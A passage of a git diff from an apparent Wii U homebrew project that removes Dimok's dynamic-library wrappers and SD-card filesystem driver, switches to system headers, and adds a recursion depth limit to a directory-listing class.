-#define SO_MYADDR 0x1013 - -#define htonl(x) x -#define htons(x) x -#define ntohl(x) x -#define ntohs(x) x - - -struct in_addr { - unsigned int s_addr; -}; -struct sockaddr_in { - short sin_family; - unsigned short sin_port; - struct in_addr sin_addr; - char sin_zero[8]; -}; - -struct sockaddr -{ - unsigned short sa_family; - char sa_data[14]; -}; - -void InitSocketFunctionPointers(void); - -extern void (*socket_lib_init)(void); -extern int (*socket)(int domain, int type, int protocol); -extern int (*socketclose)(int s); -extern int (*shutdown)(int s, int how); -extern int (*connect)(int s, void *addr, int addrlen); -extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); -extern int (*listen)(s32 s,u32 backlog); -extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); -extern int (*send)(int s, const void *buffer, int size, int flags); -extern int (*recv)(int s, void *buffer, int size, int flags); -extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); - -extern char * (*inet_ntoa)(struct in_addr in); -extern int (*inet_aton)(const char *cp, struct in_addr *inp); - -#ifdef __cplusplus -} -#endif - -#endif // __SOCKET_FUNCTIONS_H_ diff --git a/src/dynamic_libs/sys_functions.c b/src/dynamic_libs/sys_functions.c deleted file mode 100644 index ea7649e..0000000 --- a/src/dynamic_libs/sys_functions.c +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" - -EXPORT_DECL(void, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); -EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); -EXPORT_DECL(int, SYSLaunchMenu, void); - -void InitSysFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - - OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); - OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); -} - diff --git a/src/dynamic_libs/sys_functions.h b/src/dynamic_libs/sys_functions.h deleted file mode 100644 index 18c9065..0000000 --- a/src/dynamic_libs/sys_functions.h +++ /dev/null @@ -1,42 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SYS_FUNCTIONS_H_ -#define __SYS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -void InitSysFunctionPointers(void); - -extern void(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); -extern int (* SYSRelaunchTitle)(int argc, char* argv); -extern int (* SYSLaunchMenu)(void); - - -#ifdef __cplusplus -} -#endif - -#endif // __SYS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/vpad_functions.c b/src/dynamic_libs/vpad_functions.c deleted file mode 100644 index 06f9400..0000000 --- a/src/dynamic_libs/vpad_functions.c +++ /dev/null @@ -1,37 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "vpad_functions.h" - -EXPORT_DECL(void, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); - -void InitVPadFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - - OS_FIND_EXPORT(vpad_handle, VPADRead); -} - diff --git a/src/dynamic_libs/vpad_functions.h b/src/dynamic_libs/vpad_functions.h deleted file mode 100644 index ea8e9d8..0000000 --- a/src/dynamic_libs/vpad_functions.h +++ /dev/null @@ -1,101 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __VPAD_FUNCTIONS_H_ -#define __VPAD_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -#define VPAD_BUTTON_A 0x8000 -#define VPAD_BUTTON_B 0x4000 -#define VPAD_BUTTON_X 0x2000 -#define VPAD_BUTTON_Y 0x1000 -#define VPAD_BUTTON_LEFT 0x0800 -#define VPAD_BUTTON_RIGHT 0x0400 -#define VPAD_BUTTON_UP 0x0200 -#define VPAD_BUTTON_DOWN 0x0100 -#define VPAD_BUTTON_ZL 0x0080 -#define VPAD_BUTTON_ZR 0x0040 -#define VPAD_BUTTON_L 0x0020 -#define VPAD_BUTTON_R 0x0010 -#define VPAD_BUTTON_PLUS 0x0008 -#define VPAD_BUTTON_MINUS 0x0004 -#define VPAD_BUTTON_HOME 0x0002 -#define VPAD_BUTTON_SYNC 0x0001 -#define VPAD_BUTTON_STICK_R 0x00020000 -#define VPAD_BUTTON_STICK_L 0x00040000 -#define VPAD_BUTTON_TV 0x00010000 - -#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 -#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 -#define VPAD_STICK_R_EMULATION_UP 0x01000000 -#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 - -#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 -#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 -#define VPAD_STICK_L_EMULATION_UP 0x10000000 -#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 - - -typedef struct -{ - f32 x,y; -} Vec2D; - -typedef struct -{ - u16 x, y; /* Touch coordinates */ - u16 touched; /* 1 = Touched, 0 = Not touched */ - u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - u32 btns_h; /* Held buttons */ - u32 btns_d; /* Buttons that are pressed at that instant */ - u32 btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -void InitVPadFunctionPointers(void); - -extern void (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/src/entry.c b/src/entry.c index bff13a0..491f4f9 100644 --- a/src/entry.c +++ b/src/entry.c @@ -1,17 +1,17 @@ #include -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/sys_functions.h" +#include #include "common/common.h" #include "utils/utils.h" #include "main.h" static volatile uint8_t ucRunOnce = 0; -int __entry_menu(int argc, char **argv) +int main(int argc, char **argv) { //! ******************************************************************* //! * Check if our application is started * //! ******************************************************************* +/* if (OSGetTitleID != 0 && OSGetTitleID() != 0x000500101004A200 && // mii maker eur OSGetTitleID() != 0x000500101004A100 && // mii maker usa @@ -23,7 +23,7 @@ int __entry_menu(int argc, char **argv) return EXIT_SUCCESS; } ucRunOnce = 1; - +*/ //! ******************************************************************* //! * Jump to our application * //! ******************************************************************* diff --git a/src/fs/CFile.hpp b/src/fs/CFile.hpp index 1580eb3..0203162 100644 --- a/src/fs/CFile.hpp +++ b/src/fs/CFile.hpp @@ -6,7 +6,7 @@ #include #include #include -#include +#include "common/types.h" class CFile { diff --git a/src/fs/DirList.cpp b/src/fs/DirList.cpp index 147deaf..5cbce8e 100644 --- a/src/fs/DirList.cpp +++ b/src/fs/DirList.cpp @@ -39,11 +39,12 @@ DirList::DirList() { Flags = 0; Filter = 0; + Depth = 0; } -DirList::DirList(const std::string & path, const char *filter, u32 flags) +DirList::DirList(const std::string & path, const char *filter, u32 flags, u32 depth) { - this->LoadPath(path, filter, flags); + this->LoadPath(path, filter, flags, depth); this->SortList(); } @@ -52,12 +53,13 @@ DirList::~DirList() ClearList(); } -bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags) +bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags, u32 depth) { if(folder.empty()) return false; Flags = flags; Filter = filter; + Depth = depth; std::string folderpath(folder); u32 length = folderpath.size(); @@ -69,9 +71,14 @@ bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags if(length > 0 && folderpath[length-1] == '/') folderpath.erase(length-1); + //! add root slash if missing + if(folderpath.find('/') == std::string::npos) + folderpath += '/'; + return InternalLoadPath(folderpath); } +#include "utils/logger.h" bool DirList::InternalLoadPath(std::string &folderpath) { if(folderpath.size() < 3) @@ -80,6 +87,7 @@ bool DirList::InternalLoadPath(std::string &folderpath) struct dirent *dirent = NULL; DIR *dir = NULL; + log_printf("open %s\n", folderpath.c_str()); dir = opendir(folderpath.c_str()); if (dir == NULL) return false; @@ -94,14 +102,17 @@ bool DirList::InternalLoadPath(std::string &folderpath) if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0) continue; - if(Flags & CheckSubfolders) + if((Flags & CheckSubfolders) && (Depth > 0)) { int length = folderpath.size(); if(length > 2 && folderpath[length-1] != '/') folderpath += '/'; folderpath += filename; + + Depth--; InternalLoadPath(folderpath); folderpath.erase(length); + Depth++; } if(!(Flags & Dirs)) diff --git a/src/fs/DirList.h b/src/fs/DirList.h index 2a34208..b0f8c05 100644 --- a/src/fs/DirList.h +++ b/src/fs/DirList.h @@ -29,7 +29,7 @@ #include #include -#include +#include "common/types.h" typedef struct { @@ -45,11 +45,11 @@ public: //!\param path Path from where to load the filelist of all files //!\param filter A fileext that needs to be filtered //!\param flags search/filter flags from the enum - DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs); + DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs, u32 depth = 0xffffffff); //!Destructor virtual ~DirList(); //! Load all the files from a directory - bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs); + bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs, u32 depth = 0xffffffff); //! Get a filename of the list //!\param list index const char * GetFilename(int index) const; @@ -88,6 +88,7 @@ protected: inline bool valid(u32 pos) const { return (pos < FileInfo.size()); }; u32 Flags; + u32 Depth; const char *Filter; std::vector FileInfo; }; diff --git a/src/fs/fs_utils.c b/src/fs/fs_utils.c index efa2e55..ffadd89 100644 --- a/src/fs/fs_utils.c +++ b/src/fs/fs_utils.c @@ -3,15 +3,15 @@ #include #include #include -#include "common/fs_defs.h" -#include "dynamic_libs/fs_functions.h" +#include +#define FS_MAX_MOUNTPATH_SIZE 128 int MountFS(void *pClient, void *pCmd, char **mount_path) { int result = -1; - void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE); + void *mountSrc = malloc(sizeof(FSMountSource)); if(!mountSrc) return -3; @@ -21,11 +21,11 @@ int MountFS(void *pClient, void *pCmd, char **mount_path) return -4; } - memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE); + memset(mountSrc, 0, sizeof(FSMountSource)); memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); // Mount sdcard - if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0) + if (FSGetMountSource(pClient, pCmd, FS_MOUNT_SOURCE_SD, mountSrc, -1) == 0) { result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); if((result == 0) && mount_path) { diff --git a/src/fs/fs_utils.h b/src/fs/fs_utils.h index 7022695..5d4a05b 100644 --- a/src/fs/fs_utils.h +++ b/src/fs/fs_utils.h @@ -5,7 +5,7 @@ extern "C" { #endif -#include +#include "common/types.h" int MountFS(void *pClient, void *pCmd, char **mount_path); int UmountFS(void *pClient, void *pCmd, const char *mountPath); diff --git a/src/fs/sd_fat_devoptab.c b/src/fs/sd_fat_devoptab.c deleted file mode 100644 index f5b278b..0000000 --- a/src/fs/sd_fat_devoptab.c +++ /dev/null @@ -1,1019 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include "dynamic_libs/fs_functions.h" -#include "dynamic_libs/os_functions.h" -#include "fs_utils.h" - -#define FS_ALIGNMENT 0x40 -#define FS_ALIGN(x) (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1)) - -typedef struct _sd_fat_private_t { - char *mount_path; - void *pClient; - void *pCmd; - void *pMutex; -} sd_fat_private_t; - -typedef struct _sd_fat_file_state_t { - sd_fat_private_t *dev; - int fd; /* File descriptor */ - int flags; /* Opening flags */ - bool read; /* True if allowed to read from file */ - bool write; /* True if allowed to write to file */ - bool append; /* True if allowed to append to file */ - u64 pos; /* Current position within the file (in bytes) */ - u64 len; /* Total length of the file (in bytes) */ - struct _sd_fat_file_state_t *prevOpenFile; /* The previous entry in a double-linked FILO list of open files */ - struct _sd_fat_file_state_t *nextOpenFile; /* The next entry in a double-linked FILO list of open files */ -} sd_fat_file_state_t; - -typedef struct _sd_fat_dir_entry_t { - sd_fat_private_t *dev; - int dirHandle; -} sd_fat_dir_entry_t; - -static sd_fat_private_t *sd_fat_get_device_data(const char *path) -{ - const devoptab_t *devoptab = NULL; - char name[128] = {0}; - int i; - - // Get the device name from the path - strncpy(name, path, 127); - strtok(name, ":/"); - - // Search the devoptab table for the specified device name - // NOTE: We do this manually due to a 'bug' in GetDeviceOpTab - // which ignores names with suffixes and causes names - // like "ntfs" and "ntfs1" to be seen as equals - for (i = 3; i < STD_MAX; i++) { - devoptab = devoptab_list[i]; - if (devoptab && devoptab->name) { - if (strcmp(name, devoptab->name) == 0) { - return (sd_fat_private_t *)devoptab->deviceData; - } - } - } - - return NULL; -} - -static char *sd_fat_real_path (const char *path, sd_fat_private_t *dev) -{ - // Sanity check - if (!path) - return NULL; - - // Move the path pointer to the start of the actual path - if (strchr(path, ':') != NULL) { - path = strchr(path, ':') + 1; - } - - int mount_len = strlen(dev->mount_path); - - char *new_name = (char*)malloc(mount_len + strlen(path) + 1); - if(new_name) { - strcpy(new_name, dev->mount_path); - strcpy(new_name + mount_len, path); - return new_name; - } - return new_name; -} - -static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct; - - file->dev = dev; - // Determine which mode the file is opened for - file->flags = flags; - - const char *mode_str; - - if ((flags & 0x03) == O_RDONLY) { - file->read = true; - file->write = false; - file->append = false; - mode_str = "r"; - } else if ((flags & 0x03) == O_WRONLY) { - file->read = false; - file->write = true; - file->append = (flags & O_APPEND); - mode_str = file->append ? "a" : "w"; - } else if ((flags & 0x03) == O_RDWR) { - file->read = true; - file->write = true; - file->append = (flags & O_APPEND); - mode_str = file->append ? "a+" : "r+"; - } else { - r->_errno = EACCES; - return -1; - } - - int fd = -1; - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(path, dev); - if(!path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1); - - free(real_path); - - if(result == 0) - { - FSStat stats; - result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1); - if(result != 0) { - FSCloseFile(dev->pClient, dev->pCmd, fd, -1); - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; - } - file->fd = fd; - file->pos = 0; - file->len = stats.size; - OSUnlockMutex(dev->pMutex); - return (int)file; - } - - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; -} - - -static int sd_fat_close_r (struct _reent *r, int fd) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return -1; - } - return 0; -} - -static off_t sd_fat_seek_r (struct _reent *r, int fd, off_t pos, int dir) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return 0; - } - - OSLockMutex(file->dev->pMutex); - - switch(dir) - { - case SEEK_SET: - file->pos = pos; - break; - case SEEK_CUR: - file->pos += pos; - break; - case SEEK_END: - file->pos = file->len + pos; - break; - default: - r->_errno = EINVAL; - return -1; - } - - int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result == 0) - { - return file->pos; - } - - return result; -} - -static ssize_t sd_fat_write_r (struct _reent *r, int fd, const char *ptr, size_t len) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return 0; - } - - if(!file->write) - { - r->_errno = EACCES; - return 0; - } - - OSLockMutex(file->dev->pMutex); - - size_t len_aligned = FS_ALIGN(len); - if(len_aligned > 0x4000) - len_aligned = 0x4000; - - unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); - if(!tmpBuf) { - r->_errno = ENOMEM; - OSUnlockMutex(file->dev->pMutex); - return 0; - } - - size_t done = 0; - - while(done < len) - { - size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done); - memcpy(tmpBuf, ptr + done, write_size); - - int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1); - if(result < 0) - { - r->_errno = result; - break; - } - else if(result == 0) - { - if(write_size > 0) - done = 0; - break; - } - else - { - done += result; - file->pos += result; - } - } - - free(tmpBuf); - OSUnlockMutex(file->dev->pMutex); - return done; -} - -static ssize_t sd_fat_read_r (struct _reent *r, int fd, char *ptr, size_t len) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return 0; - } - - if(!file->read) - { - r->_errno = EACCES; - return 0; - } - - OSLockMutex(file->dev->pMutex); - - size_t len_aligned = FS_ALIGN(len); - if(len_aligned > 0x4000) - len_aligned = 0x4000; - - unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); - if(!tmpBuf) { - r->_errno = ENOMEM; - OSUnlockMutex(file->dev->pMutex); - return 0; - } - - size_t done = 0; - - while(done < len) - { - size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done); - - int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1); - if(result < 0) - { - r->_errno = result; - done = 0; - break; - } - else if(result == 0) - { - //! TODO: error on read_size > 0 - break; - } - else - { - memcpy(ptr + done, tmpBuf, read_size); - done += result; - file->pos += result; - } - } - - free(tmpBuf); - OSUnlockMutex(file->dev->pMutex); - return done; -} - - -static int sd_fat_fstat_r (struct _reent *r, int fd, struct stat *st) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - // Zero out the stat buffer - memset(st, 0, sizeof(struct stat)); - - FSStat stats; - int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1); - if(result != 0) { - r->_errno = result; - OSUnlockMutex(file->dev->pMutex); - return -1; - } - - st->st_mode = S_IFREG; - st->st_size = stats.size; - st->st_blocks = (stats.size + 511) >> 9; - st->st_nlink = 1; - - // Fill in the generic entry stats - st->st_dev = stats.ent_id; - st->st_uid = stats.owner_id; - st->st_gid = stats.group_id; - st->st_ino = stats.ent_id; - st->st_atime = stats.mtime; - st->st_ctime = stats.ctime; - st->st_mtime = stats.mtime; - OSUnlockMutex(file->dev->pMutex); - return 0; -} - -static int sd_fat_ftruncate_r (struct _reent *r, int fd, off_t len) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_fsync_r (struct _reent *r, int fd) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - // Zero out the stat buffer - memset(st, 0, sizeof(struct stat)); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - FSStat stats; - - int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1); - - free(real_path); - - if(result < 0) { - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; - } - - // mark root also as directory - st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG; - st->st_nlink = 1; - st->st_size = stats.size; - st->st_blocks = (stats.size + 511) >> 9; - // Fill in the generic entry stats - st->st_dev = stats.ent_id; - st->st_uid = stats.owner_id; - st->st_gid = stats.group_id; - st->st_ino = stats.ent_id; - st->st_atime = stats.mtime; - st->st_ctime = stats.ctime; - st->st_mtime = stats.mtime; - - OSUnlockMutex(dev->pMutex); - - return 0; -} - -static int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink) -{ - r->_errno = ENOTSUP; - return -1; -} - -static int sd_fat_unlink_r (struct _reent *r, const char *name) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(name); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(name, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - - int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_chdir_r (struct _reent *r, const char *name) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(name); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(name, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(oldName); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_oldpath = sd_fat_real_path(oldName, dev); - if(!real_oldpath) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - char *real_newpath = sd_fat_real_path(newName, dev); - if(!real_newpath) { - r->_errno = ENOMEM; - free(real_oldpath); - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1); - - free(real_oldpath); - free(real_newpath); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; - -} - -static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - // Zero out the stat buffer - memset(buf, 0, sizeof(struct statvfs)); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - u64 size; - - int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1); - - free(real_path); - - if(result < 0) { - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; - } - - // File system block size - buf->f_bsize = 512; - - // Fundamental file system block size - buf->f_frsize = 512; - - // Total number of blocks on file system in units of f_frsize - buf->f_blocks = size >> 9; // this is unknown - - // Free blocks available for all and for non-privileged processes - buf->f_bfree = buf->f_bavail = size >> 9; - - // Number of inodes at this point in time - buf->f_files = 0xffffffff; - - // Free inodes available for all and for non-privileged processes - buf->f_ffree = 0xffffffff; - - // File system id - buf->f_fsid = (int)dev; - - // Bit mask of f_flag values. - buf->f_flag = 0; - - // Maximum length of filenames - buf->f_namemax = 255; - - OSUnlockMutex(dev->pMutex); - - return 0; -} - -static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return NULL; - } - - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return NULL; - } - - int dirHandle; - - int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return NULL; - } - - dirIter->dev = dev; - dirIter->dirHandle = dirHandle; - - return dirState; -} - -static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState) -{ - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - if(!dirIter->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dirIter->dev->pMutex); - - int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); - - OSUnlockMutex(dirIter->dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return -1; - } - return 0; -} - -static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState) -{ - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - 